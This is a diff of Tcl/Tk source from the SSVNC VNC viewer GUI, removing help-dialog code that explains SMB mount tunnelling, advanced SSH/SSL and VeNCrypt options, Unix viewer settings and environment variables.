- global smb_su_mode smb_mount_list
- global use_smbmnt
-
- global help_font
-
- global uname
- set h 33
- if [small_height] {
- set h 17
- } elseif {$uname == "Darwin"} {
- set h 24
- }
- scroll_text .smb.f 80 $h
-
- set msg {
- Windows/Samba Filesystem mounting requires SSH be used to set up the SMB
- service port redirection. This will be either of the "Use SSH" or
- "SSH+SSL" modes. NOTE: For pure SSL tunnelling it currently will not work.
-
- This method requires a working Samba software setup on the remote
- side of the connection (VNC server) and existing Samba or Windows file
- server(s) on the local side (VNC viewer).
-
- The smbmount(8) program MUST be installed on the remote side. This
- evidently limits the mounting to Linux systems. Let us know of similar
- utilities on other Unixes. Mounting onto remote Windows machines is
- currently not supported (our SSH mode with services setup only works
- to Unix). On Debian and Ubuntu the smbmount program is currently in
- the package named 'smbfs'.
-
- Depending on how smbmount is configured you may be able to run it
- as a regular user, or it may require running under su(1) or sudo(8)
- (root password or user password required, respectively). You select
- which one you want via the checkbuttons below.
-
- In addition to a possible su(1) or sudo(8) password, you may ALSO
- need to supply passwords to mount each SMB share. This is an SMB passwd.
- If it has no password just hit enter after the "Password:" prompt.
-
- The passwords are supplied when the 1st SSH connection starts up;
- be prepared to respond to them.
-
- NOTE: USE OF SMB TUNNELLING MODE WILL REQUIRE TWO SSH'S, AND SO YOU
- MAY NEED TO SUPPLY TWO LOGIN PASSWORDS UNLESS YOU ARE USING SOMETHING
- LIKE ssh-agent(1) or the Putty PW setting.
- %WIN
-
- To indicate the Windows/Samba shares to mount enter them one per line
- in one of the forms:
-
- //machine1/share ~/Desktop/my-mount1
- //machine2/fubar /var/tmp/my-foobar2 192.168.100.53:3456
- 1139 //machine3/baz /var/tmp/baz [...]
-
- The first part is the standard SMB host and share name //hostname/dir
- (note this share is on the local viewer-side not on the remote end).
- A leading '#' will cause the entire line to be skipped.
-
- The second part, e.g. /var/tmp/my-foobar2, is the directory to mount
- the share on the remote (VNC Server) side. You must be able to
- write to this directory. It will be created if it does not exist.
- A leading character ~ will be expanded to $HOME. So will the string
- %HOME. The string %USER will get expanded to the remote username.
-
- An optional part like 192.168.100.53:3456 is used to specify the real
- hostname or IP address, and possible non-standard port, on the local
- side if for some reason the //hostname is not sufficient.
-
- An optional leading numerical value, 1139 in the above example, indicates
- which port to use on the Remote side to SSH redirect to the local side.
- Otherwise a random one is tried (a unique one is needed for each SMB
- server:port combination). A fixed one is preferred: choose a free
- remote port.
-
- The standard SMB service ports (local side) are 445 and 139. 139 is
- used by this application.
-
- Sometimes "localhost" will not work on Windows machines for a share
- hostname, and you will have to specify a different network interface
- (e.g. the machine's IP address). If you use the literal string "IP"
- it will be attempted to replace it with the numerical IP address, e.g.:
-
- //machine1/share ~/Desktop/my-mount1 IP
-
- VERY IMPORTANT: Before terminating the VNC Connection, make sure no
- applications are using any of the SMB shares (or shells are cd-ed
- into the share). This way the shares will be automatically unmounted.
- Otherwise you will need to log in again, stop processes from using
- the share, become root and umount the shares manually ("smbumount
- /path/to/share", etc.)
-
- For more info see: http://www.karlrunge.com/x11vnc/faq.html#faq-smb-shares
-}
-
- set msg2 {
- To speed up moving to the next step, iconify the first SSH console
- when you are done entering passwords, etc. and then click on the
- main panel 'VNC Host:Display' label.
-}
-
- global is_windows
- if {! $is_windows} {
- regsub { *%WIN} $msg "" msg
- } else {
- set msg2 [string trim $msg2]
- regsub { *%WIN} $msg " $msg2" msg
- }
- .smb.f.t insert end $msg
-
- frame .smb.r
- label .smb.r.l -text "smbmount(8) auth mode:" -relief ridge
- radiobutton .smb.r.none -text "None" -variable smb_su_mode -value "none"
- radiobutton .smb.r.su -text "su(1)" -variable smb_su_mode -value "su"
- radiobutton .smb.r.sudo -text "sudo(8)" -variable smb_su_mode -value "sudo"
-
- pack .smb.r.l .smb.r.none .smb.r.sudo .smb.r.su -side left -fill x
-
- label .smb.info -text "Supply the mounts (one per line) below:" -anchor w -relief ridge
-
- eval text .smb.mnts -width 80 -height 5 $help_font
- .smb.mnts insert end $smb_mount_list
-
- button .smb.guess -text "Help me decide ..." -command {destroy .smb; smb_help_me_decide}
-
- button .smb.cancel -text "Cancel" -command {set use_smbmnt 0; destroy .smb}
- bind .smb <Escape> {set use_smbmnt 0; destroy .smb}
- wm protocol .smb WM_DELETE_WINDOW {set use_smbmnt 0; destroy .smb}
- button .smb.done -text "Done" -command {if {$use_smbmnt} {set_ssh; set smb_mount_list [.smb.mnts get 1.0 end]}; destroy .smb}
-
- pack .smb.done .smb.cancel .smb.guess .smb.mnts .smb.info .smb.r -side bottom -fill x
- pack .smb.f -side top -fill both -expand 1
-
- center_win .smb
-}
-
-proc help_advanced_opts {} {
- toplev .ah
-
- scroll_text_dismiss .ah.f
-
- center_win .ah
-
- wm title .ah "Advanced Options Help"
-
- set msg {
- These Advanced Options that may require extra software installed on
- the VNC server-side (the remote server machine) and/or on the VNC
- client-side (where this gui is running).
-
- The Service redirection options, CUPS, ESD/ARTSD, and SMB will
- require that you use SSH for tunneling so that they can use the -R
- port redirection will be enabled for each service. I.e. "Use SSH"
- or "SSH + SSL" mode.
-
- These options may also require additional configuration to get them
- to work properly. Please submit bug reports if it appears it should
- be working for your setup but is not.
-
- Brief (and some not so brief) descriptions:
-
- CUPS Print tunnelling:
-
- Redirect localhost:6631 (say) on the VNC server to your local
- CUPS server. SSH mode is required.
-
- ESD/ARTSD Audio tunnelling:
-
- Redirect localhost:16001 (say) on the VNC server to your local
- ESD, etc. sound server. SSH mode is required.
-
- SMB mount tunnelling:
-
- Redirect localhost:1139 (say) on the VNC server and through that
- mount SMB file shares from your local server. The remote machine
- must be Linux with smbmount installed. SSH mode is required.
-
- Additional Port Redirs (via SSH):
-
- Specify additional -L port:host:port and -R port:host:port
- cmdline options for SSH to enable additional services.
- SSH mode is required.
-
- Automatically Find X Login/Greeter:
-
- This mode is similar to "Automatically Find X Session" except
- that it will attach to a X Login/Greeter screen that no one
- has logged into yet. It requires root privileges via sudo(1)
- on the remote machine. SSH mode is required.
-
- As with "Automatically Find X Session" it works only with SSH
- mode and requires x11vnc be installed on the remote computer.
-
- It simply sets the Remote SSH Command to:
-
- PORT= sudo x11vnc -find -localhost -env FD_XDM=1
-
- An initial ssh running 'sudo id' is performed to try to
- 'prime' sudo so the 2nd one that runs x11vnc does not need
- a password. This may not always succeed... please mail us
- the details if it doesn't.
-
- See the 'X Login' description in 'Terminal Services' Mode
- Help for more info.
-
- Private SSH KnownHosts file:
-
- On Unix in SSH mode, let the user specify a non-default
- ssh known_hosts file to be used only by the current profile.
- This is the UserKnownHostsFile ssh option and is described in the
- ssh_config(1) man page. This is useful to avoid proxy 'localhost'
- SSH key collisions.
-
- Normally one should simply let ssh use its default file
- ~/.ssh/known_hosts for tracking SSH keys. The only problem that
- happens is when multiple SSVNC connections use localhost tunnel
- port redirections. These make ssh connect to 'localhost' on some
- port (where the proxy is listening.) Then the different keys
- from the multiple ssh servers collide when ssh saves them under
- 'localhost' in ~/.ssh/known_hosts.
-
- So if you are using a proxy with SSVNC or doing a "double SSH
- gateway" your ssh will connect to a proxy port on localhost, and you
- should set a private KnownHosts file for that connection profile.
- This is secure and avoids man-in-the-middle attack (as long as
- you actually verify the initial save of the SSH key!)
-
- The default file location will be:
-
- ~/.vnc/ssh_known_hosts/profile-name.known
-
- but you can choose any place you like. It must of course be
- unique and not shared with another ssh connection otherwise they
- both may complain about the key for 'localhost' changing, etc.
-
- SSH Local Port Protections:
-
- An LD_PRELOAD hack to limit the number of SSH port redirections
- to 1 and within the first 35 seconds. So there is a smaller
- window when the user can try to use your tunnel compared to
- the duration of your session. SSH mode is required.
-
- STUNNEL Local Port Protections:
-
- Try to prevent Untrusted Local Users (see the main Help panel)
- from using your STUNNEL tunnel to connect to the remote VNC
- Server.
-
- Change VNC Viewer:
-
- Specify a non-bundled VNC Viewer (e.g. UltraVNC or RealVNC)
- to run instead of the bundled TightVNC Viewer.
-
- Port Knocking:
-
- For "closed port" services, first "knock" on the firewall ports
- in a certain way to open the door for SSH or SSL. The port
- can also be closed when the encrypted VNC connection finishes.
-
- UltraVNC DSM Encryption Plugin:
-
- On Unix only, by using the supplied tool, ultravnc_dsm_helper,
- encrypted connections to UltraVNC servers using their plugins
- is enabled. Support for secret key encryption to Non-UltraVNC
- DSM servers is also supported, e.g. x11vnc -enc blowfish:my.key
-
- Do not Probe for VeNCrypt:
-
- Disable VeNCrypt auto-detection probe when not needed.
-
- By default in SSL mode an initial probe for the use of the
- VeNCrypt or ANONTLS protocol is performed. This is done
- during the initial fetch-cert action. Once auto-detected in
- the initial probe, the real connection to the VNC Server will
- use this information to switch to SSL/TLS at the right point in
- the VeNCrypt/ANONTLS handshake.
-
- In "Verify All Certs" mode initial the fetch-cert action is
- required so the automatic probing for VeNCrypt is always done.
- The fetch-cert is not needed if you specified a ServerCert or if
- you disabled "Verify All Certs". But by default the fetch-cert
- is done anyway to try to auto-detect VeNCrypt/ANONTLS.
-
- Set 'Do not Probe for VeNCrypt' to skip this unneeded fetch-cert
- action (and hence speed up connecting.) Use this if you
- know the VNC Server uses normal SSL and not VeNCrypt/ANONTLS.
-
- See also the next option, 'Server uses VeNCrypt SSL encryption'
- to if you know it uses VeNCrypt/ANONTLS (the probing will also
- be skipped if that option is set.)
-
- Server uses VeNCrypt SSL encryption:
-
- Indicate that the VNC server uses the VeNCrypt extension to VNC;
- it switches to an SSL/TLS tunnel at a certain point in the
- VNC Handshake. This is in constrast to the default ssvnc/x11vnc
- SSL tunnel behavior where the *entire* VNC traffic goes through
- SSL (i.e. it is vncs:// in the way https:// uses SSL)
-
- Enable this option if you know the server supports VeNCrypt.
- Also use this option for the older ANONTLS extension (vino).
- Doing so will give the quickest and most reliable connection
- to VeNCrypt/ANONTLS servers. If set, any probing to try to
- auto-detect VeNCrypt/ANONTLS will be skipped.
-
- Some VNC servers supporting VeNCrypt: VeNCrypt, QEMU, ggi,
- virt-manager, and Xen. Vino supports ANONTLS.
-
- The SSVNC VeNCrypt/ANONTLS support even works with 3rd party
- VNC Viewers you specify via 'Change VNC Viewer' (e.g. RealVNC,
- TightVNC, UltraVNC etc.) that do not directly support it.
-
- Note: many VeNCrypt servers only support Anonymous Diffie Hellman
- TLS which has NO built in authentication and you will also need
- to set the option described in the next section.
-
- If you are using VeNCrypt or ANONTLS for REVERSE connections
- (Listen) then you *MUST* set this 'Server uses VeNCrypt SSL
- encryption' option. Note also that REVERSE connections using
- VeNCrypt/ANONTLS currently do not work on Windows.
-
- Also, if you are using the "Use SSH+SSL" double tunnel to a
- VeNCrypt/ANONTLS server, you MUST set 'Server uses VeNCrypt
- SSL encryption' because "Verify All Certs" is disabled in
- SSH+SSL mode.
-
- Server uses Anonymous Diffie-Hellman
-
- Anonymous Diffie-Hellman can be used for SSL/TLS connections but
- there are no Certificates for authentication. Therefore only
- passive eavesdropping attacks are prevented, not Man-In-The-Middle
- attacks. Not recommended; try to use verified X509 certs instead.
-
- Enable this option if you know the server only supports Anon DH.
- When you do so, remember that ALL Certificate checking will be
- skipped (even if you have 'Verify All Certs' selected or set
- a ServerCert.)
-
- SSVNC may be able to autodetect Anon DH even if you haven't
- selected 'Server uses Anonymous Diffie-Hellman'. Once detected, it
- will prompt you whether it should continue. Set the 'Server uses
- Anonymous Diffie-Hellman' option to avoid trying autodetection
- (i.e. forcing the issue.)
-
- Note that most Anonymous Diffie-Hellman VNC Servers do so
- via the VeNCrypt or ANONTLS VNC extensions (see the previous
- section.) For these servers if you select 'Server uses Anonymous
- Diffie-Hellman' you *MUST* ALSO select 'Server uses VeNCrypt SSL
- encryption', otherwise SSVNC may have no chance to auto-detect
- the VeNCrypt/ANONTLS protocol.
-
- Also note, if you are using the "Use SSH+SSL" double tunnel to
- a VeNCrypt/ANONTLS server using Anon DH you MUST set 'Server
- uses Anonymous Diffie-Hellman' because "Verify All Certs"
- is disabled in SSH+SSL mode.
-
- Include:
-
- Default settings and Include Templates:
-
- Before explaining how Include works, first note that if you
- do not prefer some of SSVNC's default settings you can start
- up SSVNC and then change the settings for the options that you
- want to have a different default value. Then type "defaults"
- in VNC Host:Display entry box and press "Save" to save them in
- the "defaults.vnc" profile. After this, SSVNC will initialize
- all of the default values and then apply your override values
- in "defaults".
-
- For example, suppose you always want to use a different, 3rd
- party VNC Viewer. Set Options -> Advanced -> Change VNC Viewer
- to what you want, and then save it as the "defaults" profile.
- Now that default setting will apply to all profiles, and SSVNC
- in its startup state.
-
- To edit the defaults Load it, make changes, and then Save it.
- Delete the "defaults" profile to go back to no modifications.
- Note that defaults created and saved while defaults.vnc existed
- will NOT be automatically adjusted.
-
- Include Templates:
-
- Now suppose you have a certain class of settings that you do
- not want to always be applied, but you want them to apply to a
- group of profiles.
-
- For example, suppose you have some settings for very low
- bandwidth connections (e.g. low color modes and/or aggressive
- compression and quality settings.) Set these values in SSVNC
- and then in the VNC Host:Display entry box type in, say,
- "slowlink" and then press Save. This will save those settings
- in the template profile named "slowlink.vnc".
-
- Now to create a real profile that uses this template type the
- host:disp in "VNC Host:Display" and in Options -> Advanced
- -> Includes type in "slowlink". Then press Save to save the
- host profile. Then re-Load it. The "slowlink" settings will
- be applied after the defaults. Make any other changes to the
- setting for this profile and Save it again. Next time you load
- it in, the Include template settings will override the defaults
- and then the profile itself is read in.
-
- You may supply a comma or space separated list of templates
- to include. They are applied in the order listed. They can be
- full path names or basenames relative to the profiles directory.
- You do not need to supply the .vnc suffix. The non-default
- settings in them will be applied first, and then any values in
- the loaded Profile will override them.
-
- Sleep:
-
- Enter a number to indicate how many extra seconds to sleep
- while waiting for the VNC viewer to start up. On Windows this
- can give extra time to enter the Putty/Plink password, etc.
-
- Putty Args:
-
- Windows only, supply a string to be added to all plink.exe
- and putty.exe commands. Example: -i C:\mykey.ppk
-
- Launch Putty Pagent:
-
- Windows only, launch the Putty key agent tool (pageant) to hold
- your SSH private keys for automatic logging in by putty/plink.
-
- Launch Putty Key-Gen:
-
- Windows only, launch the Putty key generation tool (puttygen)
- to create new SSH private keys.
-
- Unix ssvncviewer:
-
- Display a popup menu with options that apply to the special
- Unix SSVNC VNC Viewer (perhaps called 'ssvncviewer') provided by
- this SSVNC package. This only applies to Unix or Mac OS X.
-
- Use ssh-agent:
-
- On Unix only: restart the GUI in the presence of ssh-agent(1)
- (e.g. in case you forgot to start your agent before starting
- this GUI). An xterm will be used to enter passphrases, etc.
- This can avoid repeatedly entering passphrases for the SSH logins
- (note this requires setting up and distributing SSH keys).
-
-
- About the CheckButtons:
-
- Ahem, Well...., yes quite a klunky UI: you have to toggle the
- CheckButton to pull up the Dialog box a 2nd, etc. time... don't
- worry your settings will still be there!
-}
-
- .ah.f.t insert end $msg
- jiggle_text .ah.f.t
-}
-
-proc help_ssvncviewer_opts {} {
- toplev .av
-
- scroll_text_dismiss .av.f
-
- center_win .av
-
- wm title .av "Unix SSVNC viewer Options Help"
-
- set msg {
- These Unix SSVNC VNC Viewer Options apply only on Unix or Mac OS X
- when using the viewer (ssvncviewer) supplied by this SSVNC package.
-
- Brief descriptions:
-
- Multiple LISTEN Connections:
-
- Allow multiple VNC servers to reverse connect at the same time
- and so display each of their desktops on your screen at the
- same time.
-
- Listen Once:
-
- Try to have the VNC Viewer exit after the first listening
- connection. (It may not always be detected; use Ctrl-C to exit)
-
- Listen Accept Popup Dialog:
-
- In -listen (reverse connection listening) mode when a reverse
- VNC connection comes in show a popup asking whether to Accept
- or Reject the connection. (-acceptpopup vncviewer option.)
-
- Accept Popup UltraVNC Single Click:
-
- As in 'Listen Accept Popup Dialog', except assume the remote
- VNC server is UltraVNC Single Click and force the execution of
- the protocol to retrieve the extra remote-side info (Windows
- User, ComputerName, etc) which is then also displayed in the
- Popup window. (-acceptpopupsc vncviewer option.)
-
- Use X11 Cursor:
-
- When drawing the mouse cursor shape locally, use an X11 cursor
- instead of drawing it directly into the framebuffer. This
- can sometimes give better response, and avoid problems under
- 'Scaling'.
-
- Disable Bell:
-
- Disable beeps coming from remote side.
-
- Use Raw Local:
-
- Use the VNC Raw encoding for 'localhost' connections (instead
- of assuming there is a local tunnel, SSL or SSH, going to the
- remote machine.
-
- Avoid Using Terminal:
-
- By default the Unix ssvncviewer will prompt for usernames,
- passwords, etc. in the terminal it is running inside of.
- Set this option to use windows for messages and prompting as
- much as possible. Messages will also go to the terminal, but
- all prompts will be done via popup window.
-
- Note that stunnel(1) may prompt for a passphrase to unlock a
- private SSL key. This is fairly rare because it is usually
- for Client-side SSL authentication. stunnel will prompt from
- the terminal; there seems to be no way around this.
-
- Also, note that ssh(1) may prompt for an ssh key passphrase
- or Unix password. This can be avoided in a number of ways,
- the simplest one is to use ssh-agent(1) and ssh-add(1).
- However ssh(1) may also prompt you to accept a new public key
- for a host or warn you if the key has changed, etc.
-
- Use Popup Fix:
-
- Enable a fix that warps the popup (F8) to the mouse pointer.
-
- Use XGrabServer (for fullscreen):
-
- On Unix only, use the XGrabServer workaround for older window
- managers. Sometimes also needed on recent (2008) GNOME. This
- workaround can make going into/out-of Fullscreen work better.
-
- Cursor Alphablending:
-
- Use the x11vnc alpha hack for translucent cursors (requires Unix,
- 32bpp and same endianness)
-
- TurboVNC:
-
- If available on your platform, use a ssvncviewer compiled with
- TurboVNC support. This is based on the VirtualGL project:
- http://www.sourceforge.net/projects/virtualgl You will need
- to install the VirtualGL's TurboJPEG library too.
-
- Currently (May/2009) only Linux.i686, Linux.x86_64, and
- Darwin.i386 have vncviewer.turbovnc binaries shipped in the
- ssvnc bundles. See the build instructions for how you might
- compile your own.
-
- Disable Pipelined Updates:
-
- Disable the TurboVNC-like pipelined updates mode. Pipelined
- updates is the default even when not TurboVNC enabled. They
- ask for the next screen update before the current one has
- finished downloading, and so this might reduce the slowdown
- due to high latency or low bandwidth by 2X or so. Disable
- them if they cause problems with the remote VNC Server or
- use too much bandwidth.
-
- Send CLIPBOARD not PRIMARY:
-
- When sending locally selected text to the VNC server side,
- send the CLIPBOARD selection instead of the PRIMARY selection.
-
- Send Selection Every time:
-
- Send selected text to the VNC server side every time the mouse
- focus enters the main VNC Viewer window instead only when it
- appears to have changed since the last send.
-
- Scaling:
-
- Use viewer-side (i.e. local) scaling of the VNC screen. Supply
- a fraction, e.g. 0.75 or 3/4, or a WxH geometry, e.g. 1280x1024,
- or the string 'fit' to fill the current screen. Use 'auto'
- to scale the desktop to match the viewer window size.
-
- If you observe mouse trail painting errors try using X11 Cursor.
-
- Note that since the local scaling is done in software it can
- be slow. Since ZRLE is better than Tight in this regard, when
- scaling is detected, the encoding will be switched to ZRLE.
- Use the Popup to go back to Tight if you want to, or set the
- env. var. SSVNC_PRESERVE_ENCODING=1 to disable the switch.
-
- For additional speedups under local scaling: try having a solid
- desktop background on the remote side (either manually or using
- 'x11vnc -solid ...'); and also consider using client side caching
- 'x11vnc -ncache 10 ...' if the remote server is x11vnc.
-
- Escape Keys:
-
- Enable 'Escape Keys', a set of modifier keys that, if all are
- pressed down, enable local Hot Key actions. Set to 'default'
- to use the default (Alt_L,Super_L on unix, Control_L,Meta_L
- on macosx) or set to a list of modifier keys.
-
- Y Crop:
-
- This is for x11vnc's -ncache client side caching scheme with our
- Unix TightVNC viewer. Sets the Y value to "crop" the viewer
- size at (below the cut is the pixel cache region you do not
- want to see). If the screen is tall (H > 2*W) ycropping will
- be autodetected, or you can set to -1 to force autodection.
- Otherwise, set it to the desired Y value. You can also set
- the scrollbar width (very thin by default) by appending ",sb=N"
- (or use ",sb=N" by itself to just set the scrollbar width).
-
- ScrollBar Width:
-
- This is for x11vnc's -ncache client side caching scheme with our
- Unix TightVNC viewer. For Y-Crop mode, set the size of the
- scrollbars (often one want it to be very narrow, e.g. 2 pixels
- to be less distracting.
-
- RFB Version:
-
- Set the numerical version of RFB (VNC) protocol to pretend to
- be, 3.x. Usually only needed with UltraVNC servers.
-
- Encodings:
-
- List encodings in preferred order, for example
- 'copyrect zrle tight' The list of encodings is:
- copyrect tight zrle zywrle hextile zlib corre rre raw
-
- Extra Options:
-
- String of extra Unix ssvncviewer command line options. I.e. for
- ones like -16bpp that cannot be set inside this SSVNC GUI. For a
- list click Help then 'SSVNC vncviewer -help Output'.
-
-
- These are environment variables one may set to affect the options
- of the SSVNC vncviewer and also the ss_vncviewer wrapper script
- (and hence may apply to 3rd party vncviewers too)
-
- VNCVIEWER_ALPHABLEND (-alpha, see Cursor Alphablending above)
- VNCVIEWER_POPUP_FIX (-popupfix, warp popup to mouse location)
- VNCVIEWER_GRAB_SERVER (-graball, see Use XGrabServer above)
- VNCVIEWER_YCROP (-ycrop, see Y Crop above)
- VNCVIEWER_SBWIDTH (-sbwidth, see ScrollBar Width above)
- VNCVIEWER_RFBVERSION (-rfbversion, e.g. 3.6)
- VNCVIEWER_ENCODINGS (-encodings, e.g. "copyrect zrle hextile")
- VNCVIEWER_NOBELL (-nobell)
- VNCVIEWER_X11CURSOR (-x11cursor, see Use X11 Cursor above)
- VNCVIEWER_RAWLOCAL (-rawlocal, see Use Raw Local above)
- VNCVIEWER_NOTTY (-notty, see Avoid Using Terminal above)
- VNCVIEWER_ESCAPE (-escape, see Escape Keys above)
- VNCVIEWER_ULTRADSM (-ultradsm)
- VNCVIEWER_PIPELINE_UPDATES (-pipeline, see above)
- VNCVIEWER_SEND_CLIPBOARD (-sendclipboard)
- VNCVIEWER_SEND_ALWAYS (-sendalways)
- VNCVIEWER_RECV_TEXT (-recvtext clipboard/primary/both)
- VNCVIEWER_NO_CUTBUFFER (do not send CUTBUFFER0 as fallback)
- VNCVIEWER_NO_PIPELINE_UPDATES (-nopipeline)
- VNCVIEWER_ALWAYS_RECENTER (set to avoid(?) recentering on resize)
- VNCVIEWER_IS_REALVNC4 (indicate vncviewer is realvnc4 flavor.)
- VNCVIEWER_NO_IPV4 (-noipv4)
- VNCVIEWER_NO_IPV6 (-noipv6)
- VNCVIEWER_FORCE_UP (force raise on fullscreen graball)
- VNCVIEWER_PASSWORD (danger: set vnc passwd via env. var.)
- VNCVIEWER_MIN_TITLE (minimum window title (appshare))
-
- VNCVIEWERCMD (unix viewer command, default vncviewer)
- VNCVIEWERCMD_OVERRIDE (force override of VNCVIEWERCMD)
- VNCVIEWERCMD_EXTRA_OPTS (extra options to pass to VNCVIEWERCMD)
- VNCVIEWER_LISTEN_LOCALHOST (force ssvncviewer to -listen on localhost)
- VNCVIEWER_NO_SEC_TYPE_TIGHT(force ssvncviewer to skip rfbSecTypeTight)
- HEXTILE_YCROP_TOO (testing: nosync_ycrop for hextile updates.)
-
- SS_DEBUG (very verbose debug printout by script.)
- SS_VNCVIEWER_LISTEN_PORT (force listen port.)
- SS_VNCVIEWER_NO_F (no -f for SSH.)
- SS_VNCVIEWER_NO_T (no -t for SSH.)
- SS_VNCVIEWER_USE_C (force -C compression for SSH.)
- SS_VNCVIEWER_SSH_CMD (override SSH command to run.)
- SS_VNCVIEWER_NO_MAXCONN (no maxconn for stunnel (obsolete))
- SS_VNCVIEWER_RM (file containing vnc passwd to remove.)
- SS_VNCVIEWER_SSH_ONLY (run the SSH command, then exit.)
-
- SSVNC_MULTIPLE_LISTEN (-multilisten, see Multiple LISTEN above)
- SSVNC_ACCEPT_POPUP (-acceptpopup, see Accept Popup Dialog)
- SSVNC_ACCEPT_POPUP_SC (-acceptpopupsc, see Accept Popup Dialog)
- SSVNC_TURBOVNC (see TurboVNC above)
- SSVNC_UNIXPW (-unixpw)
- SSVNC_UNIXPW_NOESC (do not send escape in -unixpw mode)
- SSVNC_SCALE (-scale, see Scaling above)
- SSVNC_NOSOLID (do not do solid region speedup in
- scaling mode.)
- SSVNC_PRESERVE_ENCODING (do not switch to ZRLE when scaling)
- SSVNC_FINISH_SLEEP (on unix/macosx sleep this many seconds
- before exiting the terminal, default 5)
-
- Misc (special usage or debugging or ss_vncviewer settings):
-
- SSVNC_MESG_DELAY (sleep this many millisec between messages)
- SSVNC_NO_ENC_WARN (do not print out a NO ENCRYPTION warning)
- SSVNC_EXTRA_SLEEP (same as Sleep: window)
- SSVNC_NO_ULTRA_DSM (disable ultravnc dsm encryption)
- SSVNC_ULTRA_DSM (the ultravnc_dsm_helper command)
- SSVNC_ULTRA_FTP_JAR (file location of ultraftp.jar jar file)
- SSVNC_KNOWN_HOSTS_FILE (file for per-connection ssh known hosts)
- SSVNC_SCALE_STATS (print scaling stats)
- SSVNC_NOSOLID (disable solid special case while scaling)
- SSVNC_DEBUG_RELEASE (debug printout for keyboard modifiers.)
- SSVNC_DEBUG_ESCAPE_KEYS (debug printout for escape keys)
- SSVNC_NO_MAYBE_SYNC (skip XSync() calls in certain painting)
- SSVNC_MAX_LISTEN (number of time to listen for reverse conn.)
- SSVNC_LISTEN_ONCE (listen for reverse conn. only once)
- STUNNEL_LISTEN (stunnel interface for reverse conn.
- SSVNC_NO_MESSAGE_POPUP (do not place info messages in popup.)
- SSVNC_SET_SECURITY_TYPE (force VeNCrypt security type)
- SSVNC_PREDIGESTED_HANDSHAKE (string used for VeNCrypt, etc. connect)
- SSVNC_SKIP_RFB_PROTOCOL_VERSION (force viewer to be RFB 3.8)
- SSVNC_DEBUG_SEC_TYPES (debug security types for VeNCrypt)
- SSVNC_DEBUG_MSLOGON (extra printout for ultravnc mslogon proto)
- SSVNC_DEBUG_RECTS (printout debug for RFB rectangles.)
- SSVNC_DEBUG_CHAT (printout debug info for chat mode.)
- SSVNC_DELAY_SYNC (faster local drawing delaying XSync)
- SSVNC_DEBUG_SELECTION (printout debug for selection/clipboard)
- SSVNC_REPEATER (URL-ish sslrepeater:// thing for UltraVNC)
- SSVNC_VENCRYPT_DEBUG (debug printout for VeNCrypt mode.)
- SSVNC_VENCRYPT_USERPASS (force VeNCrypt user:pass)
- SSVNC_STUNNEL_DEBUG (increase stunnel debugging printout)
- SSVNC_STUNNEL_VERIFY3 (increase stunnel verify from 2 to 3)
- SSVNC_LIM_ACCEPT_PRELOAD (preload library to limit accept(2))
- SSVNC_SOCKS5 (socks5 for x11vnc PORT= mode, default)
- SSVNC_SOCKS4 (socks4 for x11vnc PORT= mode)
- SSVNC_NO_IPV6_PROXY (do not setup a ipv6:// proxy)
- SSVNC_NO_IPV6_PROXY_DIRECT (do not setup a ipv6:// proxy unencrypted)
- SSVNC_PORT_IPV6 (x11vnc PORT= mode is to ipv6-only)
- SSVNC_IPV6 (0 to disable ss_vncviewer ipv6 check)
- SSVNC_FETCH_TIMEOUT (ss_vncviewer cert fetch timeout)
- SSVNC_USE_S_CLIENT (force cert fetch to be 'openssl s_client')
- SSVNC_SHOWCERT_EXIT_0 (force showcert to exit with success)
- SSVNC_SSH_LOCALHOST_AUTH (force SSH localhost auth check.)
- SSVNC_TEST_SEC_TYPE (force PPROXY VeNCrypt type; testing)
- SSVNC_TEST_SEC_SUBTYPE (force PPROXY VeNCrypt subtype; testing)
- SSVNC_EXIT_DEBUG (testing: prompt to exit at end.)
- SSVNC_UP_DEBUG (gui user/passwd debug mode.)
- SSVNC_UP_FILE (gui user/passwd file.)
-
- STUNNEL_EXTRA_OPTS (extra options for stunnel.)
-
- X11VNC_APPSHARE_DEBUG (for debugging -appshare mode.)
- NO_X11VNC_APPSHARE (shift down for escape keys.)
- DEBUG_HandleFileXfer (ultravnc filexfer)
- DEBUG_RFB_SMSG (RFB server message debug.)
-}
-
- .av.f.t insert end $msg
- button .av.htext -text "SSVNC vncviewer -help Output" -command show_viewer_help
- pack .av.htext -side bottom -fill x
- jiggle_text .av.f.t
-}
-
-proc show_viewer_help {} {
- toplev .vhlp
-
- set h 35
- if [small_height] {
- set h 30
- }
- scroll_text_dismiss .vhlp.f 83 $h
-
- center_win .vhlp
- wm resizable .vhlp 1 0
-
- wm title .vhlp "SSVNC vncviewer -help Output"
-
- set msg "-- No Help Output --"
- catch {set msg [exec ss_vncviewer -viewerhelp 2>/dev/null]}
-
- .vhlp.f.t insert end $msg
- jiggle_text .vhlp.f.t
-}
-
-proc set_viewer_path {} {
- global change_vncviewer_path
- unix_dialog_resize .chviewer
- set change_vncviewer_path [tk_getOpenFile -parent .chviewer]
- catch {raise .chviewer}
- update
-}
-
-proc change_vncviewer_dialog {} {
- global change_vncviewer change_vncviewer_path vncviewer_realvnc4
- global ts_only
-
- toplev .chviewer
- wm title .chviewer "Change VNC Viewer"
-
- global help_font
- if {$ts_only} {
- eval text .chviewer.t -width 90 -height 16 $help_font
- } else {
- eval text .chviewer.t -width 90 -height 27 $help_font
- }
- apply_bg .chviewer.t
-
- set msg {
- To use your own VNC Viewer (i.e. one installed by you, not included in this
- package), e.g. UltraVNC or RealVNC, type in the program name, or browse for
- the full path to it. You can put command line arguments after the program.
-
- Note that due to incompatibilities with respect to command line options
- there may be issues, especially if many command line options are supplied.
- You can specify your own command line options below if you like (and try to
- avoid setting any others in this GUI under "Options").
-
- If the path to the program name has spaces it in, surround it with double quotes:
-
- "C:\Program Files\My Vnc Viewer\VNCVIEWER.EXE"
-
- Make sure the very first character is a quote. You should quote the command
- even if it is only the command line arguments that need extra protection:
-
- "wine" -- "/home/fred/Program Flies/UltraVNC-1.0.2.exe" /64colors
-
- Since the command line options differ between them greatly, if you know it
- is of the RealVNC 4.x flavor, indicate on the check box. Otherwise we guess.
-
- To have SSVNC act as a general STUNNEL redirector (no VNC) set the viewer to be
- "xmessage OK" or "xmessage <port>" or "sleep n" or "sleep n <port>" (or "NOTEPAD"
- on Windows). The default listen port is 5930. The destination is set in "VNC
- Host:Display" (for a remote port less than 200 use the negative of the port value).
-}
-
- if {$ts_only} {
- regsub {Note that due(.|\n)*If the} $msg "If the" msg
- regsub {To have SSVNC act(.|\n)*} $msg "" msg
- }
- .chviewer.t insert end $msg
-
- frame .chviewer.path
- label .chviewer.path.l -text "VNC Viewer:"
